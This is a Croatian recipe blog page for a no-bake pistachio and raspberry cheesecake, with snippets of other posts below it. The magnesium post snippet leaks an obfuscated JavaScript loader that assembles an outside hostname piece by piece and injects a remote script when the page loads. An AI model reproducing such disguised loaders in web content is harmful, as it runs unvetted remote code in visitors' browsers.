CHEESECAKE S PISTACIJOM I MALINAMA BEZ PEĆNICE





Cheesecake s pistacijom i malinama bez pećnice 




Nakon čokoladnih bombi od deserata koje smo jeli tijekom zimskih mjeseci, čim dođe proljeće naši se okusni pupoljci i želje za slatkim okrenu prema laganijim teksturama i svježijim receptima. Tako teške čokoladne torte polako ustupaju mjesto kremastim tortama, voćnim notama i nježnim bojama, a sve to utjelovljuje recept za jedan poseban cheesecake koji vam danas predstavljamo. Riječ je o ultra kremastom cheesecakeu s malinama i pistacijom!




Cheesecake s pistacijom i malinama bez pećnice 


Sastojci:

Sastojci za podlogu:

  • 200 g mljevenih keksa (digestive ili petit)
  • 100 g maslaca (otopljenog)

Sastojci za kremu:

  • 250 g mascarpone sira
  • 200 ml slatkog vrhnja za šlag
  • 150 g krem sira
  • 120 g šećera u prahu
  • 100 g paste od pistacija (ili sitno mljevenih pistacija)
  • 1 žličica vanilije
  • 1 žlica limunovog soka

Sastojci za voćni sloj:

  • 150 g svježih ili smrznutih malina
  • 2 žlice šećera
  • 1 žličica gustina
  • malo vode



Priprema:

  • U zdjeli pomiješajte mljevene kekse i otopljeni maslac dok ne dobijete kompaktnu smjesu. Utisnite je u kalup za tortu (promjera 20–22 cm), ravnomjerno rasporedite i stavite u hladnjak na 20 minuta da se stegne.
  • U jednoj zdjeli izmiksajte mascarpone, krem sir i šećer u prahu dok ne dobijete glatku smjesu. Dodajte pastu od pistacija, vaniliju i limunov sok te sve dobro sjedinite.
  • U drugoj zdjeli istucite slatko vrhnje u čvrsti šlag, pa ga lagano umiješajte u kremu od sira. Dobit ćete laganu, prozračnu kremu s nježnom aromom pistacije.
  • Kremu rasporedite preko ohlađene podloge i poravnajte površinu. Vratite u hladnjak na najmanje 2 sata.
  • Maline stavite u mali lonac sa šećerom i malo vode te zagrijavajte dok ne omekšaju. Dodajte gustin razmućen u malo vode i kuhajte još nekoliko minuta dok se smjesa ne zgusne. Ostavite da se potpuno ohladi. Ohlađeni voćni sloj rasporedite preko cheesecakea.
  • Kolač ostavite u hladnjaku još najmanje sat vremena prije posluživanja kako bi se svi slojevi lijepo povezali. Po želji ga dodatno ukrasite svježim malinama, nasjeckanim pistacijama ili listićima mente.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više

BRZI KINDER BUENO KOLAČ BEZ PEČENJA

Slika
<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Brzi kinder bueno kolač bez pečenja  Bez obzira na to držite li se određenog tipa prehrane ili režima vježbanja, s vremena na vrijeme u redu je počastiti se omiljenom slasticom, a ovaj Kinder Bueno kolač ima sve što će utažiti želju za slatkim. Slasna krema, hrskavi keks i čokoladna glazura odmah su nas uvjerili da ga moramo isprobati. Brzi kinder bueno kolač bez pečenja  Sastojci: 300g plazma keksa + 100 ml mlijeka 350 ml slatkog vrhnja 200 g sirnog namaza 100 g šećera u prahu 3 pune žlice bijele Lino Lade 5 Kinder Bueno čokoladica 100 g Kinder čokoladica + 50 ml slatkog vrhnja Priprema: Za pripremu ovog kolača koristite kalup ili posudu dimenzija 27×18 cm. Sirni namaz i šećer pomiješajte pa mikserom umutite slatko vrhnje. U dobiveni šlag dodajte mješavinu sira i šećera te bijelu Lino La...
Pročitajte više